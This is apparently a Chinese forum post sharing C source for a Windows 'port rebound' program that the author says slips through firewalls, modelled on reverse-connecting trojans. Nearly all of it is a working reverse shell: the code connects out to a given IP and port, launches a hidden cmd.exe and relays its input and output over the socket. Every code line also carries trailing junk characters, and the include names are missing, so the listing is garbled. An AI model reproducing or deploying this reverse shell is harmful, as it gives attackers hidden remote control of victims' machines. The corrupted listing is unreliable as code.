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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rV{e[fGd  
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/* ============================== F= lj$?4{  
Rebound port in Windows NT KWkT 9[H  
By wind,2006/7 O~1p]j  
===============================*/ D7oV&vXg  
#include +w/o  
#include }6(:OB?  
TMs\#  
#pragma comment(lib,"wsock32.lib") r F - yD1  
T{Q&}`D)r  
void OutputShell(); m)2U-3*iX  
SOCKET sClient; &0blHDMj{#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [C#pMLp,~  
}gt~{9?c  
void main(int argc,char **argv) {RO=4ba{J  
{ [! o -F;  
WSADATA stWsaData; z[Qv}pv  
int nRet; 6ns_4, e  
SOCKADDR_IN stSaiClient,stSaiServer; s!\L1E  
b s*Z{R  
if(argc != 3) IT"jtV  
{ ]+S QS^4  
printf("Useage:\n\rRebound DestIP DestPort\n"); ld6@&34  
return; I!bZ-16X  
} l{yPO@ut`F  
&ICO{#v5  
WSAStartup(MAKEWORD(2,2),&stWsaData); W>49,A,q  
G 0 yt%qHE  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'LI)6;Yc  
f# + h_1#  
stSaiClient.sin_family = AF_INET; h)8_sC  
stSaiClient.sin_port = htons(0); i vk|-C'\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  glUP  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]vrs?  
{ 19DW~kvYk  
printf("Bind Socket Failed!\n"); lX7^LB  
return; HB^azHr  
} ,%^0 4sl  
%Z|*!A+wN5  
stSaiServer.sin_family = AF_INET; x(~l[hT  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }#M|3h;q9+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UYUd IIoL  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P{ o/F  
{ G_@H:4$3  
printf("Connect Error!"); u8QX2|  
return; }"v "^5  
} `x3c},'@k  
OutputShell(); U# gmk0>t{  
} aMWNZv  
V7<} ;Lzm  
void OutputShell() Nt?B(.G  
{ }ls>~uN  
char szBuff[1024]; ;8UHPDnst  
SECURITY_ATTRIBUTES stSecurityAttributes; 6aL`^^  
OSVERSIONINFO stOsversionInfo; '"6VfF)*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; BTB,a$P/  
STARTUPINFO stStartupInfo; ;XjKWM;  
char *szShell; YAD9'h]d\  
PROCESS_INFORMATION stProcessInformation; IlY,V  
unsigned long lBytesRead; :gmVX}  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NW$Z}?I  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0>vm&W<?)  
stSecurityAttributes.lpSecurityDescriptor = 0; `y4+OXZ^  
stSecurityAttributes.bInheritHandle = TRUE; -7CkOZT  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i^yQ; 2 -  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X@B+{IFC  
fYpy5vc-dm  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'n\ZmG{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x\lua  
stStartupInfo.wShowWindow = SW_HIDE; 9.<$&mVk7`  
stStartupInfo.hStdInput = hReadPipe; 0=~Ji_5mB  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'O CVUF,  
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GetVersionEx(&stOsversionInfo); >[[< 5$,T  
tUzuel*  
switch(stOsversionInfo.dwPlatformId) $OmtN"  
{ Rzz*[H  
case 1: zZ kwfF  
szShell = "command.com"; tP`,Egf"g  
break; FJ/kumq  
default: H}A67J9x  
szShell = "cmd.exe"; - iU7'  
break; I\":L  
} 778a)ZOzb  
bBGLf)fsTG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /Z-|E  
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send(sClient,szMsg,77,0); Dp>/lkk.  
while(1) VEJ Tw  
{ \SyfEcSf2v  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ugOcK Gf  
if(lBytesRead) M>-x\[n+  
{ d^4!=^HN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); " @.hz@>  
send(sClient,szBuff,lBytesRead,0); ;R}:2  
} B \BP:;"  
else .7{,u1N'  
{ /:l>yKI+~  
lBytesRead=recv(sClient,szBuff,1024,0); J-b Z`)[Q  
if(lBytesRead<=0) break; . F_pP2A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2wikk]Z  
} (|<}q-wO  
} pLNv\M+  
Ak&eGd$d  
return; 7h0LR7  
}
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